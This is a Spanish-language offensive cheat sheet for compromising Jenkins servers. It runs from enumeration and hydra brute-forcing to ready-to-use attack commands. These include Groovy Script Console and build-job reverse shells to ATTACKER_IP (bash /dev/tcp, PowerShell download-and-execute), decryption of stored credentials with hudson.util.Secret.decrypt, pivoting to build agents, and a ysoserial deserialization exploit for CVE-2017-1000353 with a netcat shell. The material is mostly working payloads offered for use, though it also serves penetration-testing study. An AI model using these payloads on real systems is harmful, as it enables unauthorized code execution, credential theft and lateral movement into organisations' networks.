Jenkins — Discovery & Enumeration
Jenkins es la plataforma de automatización CI/CD más utilizada. Un servidor Jenkins comprometido suele ser un objetivo de altísimo valor: además de ejecución de comandos directa (vía Groovy Script Console), frecuentemente tiene credenciales almacenadas para repositorios de código, servidores de despliegue, y otros sistemas internos — lo que lo convierte en un punto de pivote clave para movimiento lateral.
Discovery / Footprinting
Identificación del servicio en la red:
❯ nmap -p 8080 --script http-title <IP>❯ whatweb http://<IP>:8080Descubrimiento de endpoints sensibles
Información general del servidor Jenkins en formato JSON (versión, jobs, nodos configurados):
❯ curl -s -X GET http://<IP>:8080/api/jsonComprobar si la enumeración de usuarios vía perfil está expuesta (a veces revela si un username existe según el código de respuesta):
❯ curl -s -X GET http://<IP>:8080/securityRealm/user/adminFuerza bruta de credenciales
❯ hydra -L users.txt -P passwords.txt <IP> http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^:F=Invalid"- El endpoint
/j_acegi_security_checkcorresponde a versiones de Jenkins con el security realm clásico basado en Acegi Security; en versiones más recientes el endpoint puede ser/j_spring_security_check— confirmar cuál usa el objetivo antes de lanzar el ataque revisando elactiondel formulario de login en el HTML.
Enumeración de plugins instalados
❯ curl -s -X GET http://<IP>:8080/pluginManager/api/json?depth=1 | jq- Cada plugin y su versión listada aquí es un candidato para buscar CVEs específicos — los plugins (no el core de Jenkins) son la fuente más común de vulnerabilidades explotables.
Enumeración de Jobs y Builds
❯ curl -s -X GET http://<IP>:8080/job/<JOB_NAME>/api/jsonListar todos los jobs configurados (para no depender de adivinar nombres):
❯ curl -s -X GET http://<IP>:8080/api/json?tree=jobs[name] | jqInformación de nodos/agentes configurados (relevante para movimiento lateral si Jenkins opera en modo master-slave):
❯ curl -s -X GET http://<IP>:8080/computer/api/jsonIdentificación de configuraciones débiles
❯ curl -s -X GET http://<IP>:8080/config.xml❯ curl -s -X GET http://<IP>:8080/manage- Si
/config.xmles accesible sin autenticación, puede revelar detalles de la configuración de seguridad global — un indicio temprano de que el resto del panel podría estar igual de expuesto.
Ataques a Jenkins
1. Explotación de la Groovy Script Console
Si el endpoint /script (interfaz web) o /scriptText (API) está accesible — ya sea sin autenticación o con credenciales obtenidas — se puede ejecutar código Groovy arbitrario, que a su vez puede invocar comandos del sistema operativo directamente:
❯ curl -X POST http://<IP>:8080/scriptText --data-urlencode "script=println 'Hacked!'.execute().text"- Este es el vector de explotación más directo y de mayor impacto en Jenkins: la consola Groovy corre con los mismos privilegios que el propio proceso Jenkins (a menudo una cuenta de servicio con permisos elevados en el host, y con credenciales de otros sistemas configuradas).
Reverse shell en Linux vía Groovy:
def cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'".execute()
cmd.waitFor()Reverse shell en Windows vía Groovy (descarga y ejecuta un script de PowerShell remoto):
def cmd = "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')".execute()
cmd.waitFor()Con un listener preparado del lado del atacante:
❯ nc -lvnp 44442. Explotación de credenciales expuestas
Consultar el almacén de credenciales de Jenkins (requiere ciertos privilegios, pero a veces está mal configurado y accesible con autenticación mínima):
❯ curl -s -X GET http://<IP>:8080/credentials/store/system/domain/_/api/jsonSi las credenciales aparecen como un hash (por ejemplo, contraseñas de usuarios locales de Jenkins almacenadas con hash), intentar crackearlas offline:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txtCon acceso de administrador al panel, Jenkins también permite desencriptar directamente credenciales almacenadas (no solo hashes) usando la propia consola Script, ya que Jenkins guarda las claves de descifrado localmente:
println(hudson.util.Secret.decrypt("{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX=}"))- El valor cifrado se obtiene típicamente del archivo
credentials.xml(accesible con privilegios de administrador vía el sistema de archivos, o a través de la consola Script leyendo$JENKINS_HOME/credentials.xml) — esta técnica evita depender de crackeo por fuerza bruta cuando ya se tiene acceso administrativo.
3. RCE a través de Build Jobs
Si se tienen permisos para crear/modificar un Job (incluso sin acceso directo a la consola Script):
- Crear un nuevo Job en
/newJob. - Configurar el Build con un comando malicioso como paso de ejecución (
Execute shell/Execute Windows batch command):- Linux:
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 - Windows:
powershell IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')
- Linux:
- Ejecutar el Job ("Build Now") y capturar la shell en el listener del atacante:c
❯ nc -lvnp 4444
- Esta vía es útil cuando la cuenta comprometida tiene permisos de "Job configure/build" pero no el rol de administrador completo necesario para la consola Script — un escenario común en configuraciones de Jenkins con control de acceso granular (matrix-based security).
4. Explotación de plugins vulnerables
❯ curl -s http://<IP>:8080/pluginManager/api/json?depth=1 | jq- Si se detecta el Script Security Plugin en una versión anterior a 1.50, es posible desactivar el sandbox de Groovy y ejecutar código arbitrario sin las restricciones normales del sandbox — buscar el CVE específico asociado a la versión detectada.
- Otros plugins con historial de CVEs críticos a revisar: Pipeline: Groovy, Git Plugin (RCE vía parámetros de URL de repositorio), CLI (deserialización, ver más abajo).
5. Escalada de privilegios y movimiento lateral
Una vez con ejecución de comandos (por cualquiera de las vías anteriores), reconocimiento local estándar:
❯ whoami
❯ id
❯ cat /etc/passwdSi Jenkins está configurado en modo Master-Agent (antes llamado Master-Slave), se puede intentar ejecutar Groovy directamente en un agente específico, pivotando más allá del servidor Jenkins principal:
❯ curl -X POST http://<IP>:8080/computer/agente-01/scriptText --data-urlencode "script=println 'whoami'.execute().text"- Cada agente puede correr en un host físicamente distinto (a menudo con su propio conjunto de credenciales/acceso a recursos internos) — esto convierte a Jenkins en un punto de pivote particularmente valioso en redes con múltiples agentes de build distribuidos.
6. Deserialización y exploits públicos (CVE-2017-1000353)
Ciertas versiones de Jenkins son vulnerables a deserialización insegura de Java a través de su interfaz CLI remota, permitiendo RCE sin autenticación:
❯ java -jar ysoserial.jar CommonsCollections6 "nc -e /bin/bash ATTACKER_IP 4444" | nc <IP> 8080ysoserialgenera el payload de deserialización malicioso usando una cadena de gadgets conocida (CommonsCollections6en este caso; según la versión exacta de las librerías presentes en el classpath del objetivo, puede ser necesario probar otras cadenas deysoserial).- Esta vulnerabilidad afecta a versiones de Jenkins anteriores a la 2.56 (LTS 2.46.2) — confirmar la versión exacta (vía
/api/jsono la página de login) antes de intentarlo.
Comandos adicionales de enumeración
Descubrir si el registro de nuevos usuarios está abierto (Jenkins a veces se despliega sin restringir esto, permitiendo crear una cuenta propia de bajo privilegio como punto de partida):
❯ curl -s http://<IP>:8080/signupEnumerar el historial de builds de un job específico, que a menudo revela variables de entorno, rutas internas, o incluso credenciales impresas accidentalmente en la consola de salida:
❯ curl -s http://<IP>:8080/job/<JOB_NAME>/lastBuild/consoleTextDescargar el CLI oficial de Jenkins (útil como cliente alternativo cuando ya se dispone de credenciales, para interactuar sin depender de peticiones HTTP manuales):
❯ curl -s http://<IP>:8080/jnlpJars/jenkins-cli.jar -o jenkins-cli.jar
❯ java -jar jenkins-cli.jar -s http://<IP>:8080/ -auth user:pass who-am-iNotas de metodología
- El acceso sin autenticación a
/script//scriptTextes, con diferencia, el hallazgo más crítico y directo posible en Jenkins — siempre probarlo primero, antes de cualquier otra vía de este documento. - Documentar cuidadosamente cualquier credencial descifrada de
credentials.xml, ya que suele abrir acceso a sistemas completamente distintos (repositorios Git privados, servidores de despliegue, otras cuentas cloud) más allá del propio Jenkins — el verdadero impacto de comprometer un servidor CI/CD casi siempre está en lo que almacena, no en el servidor en sí.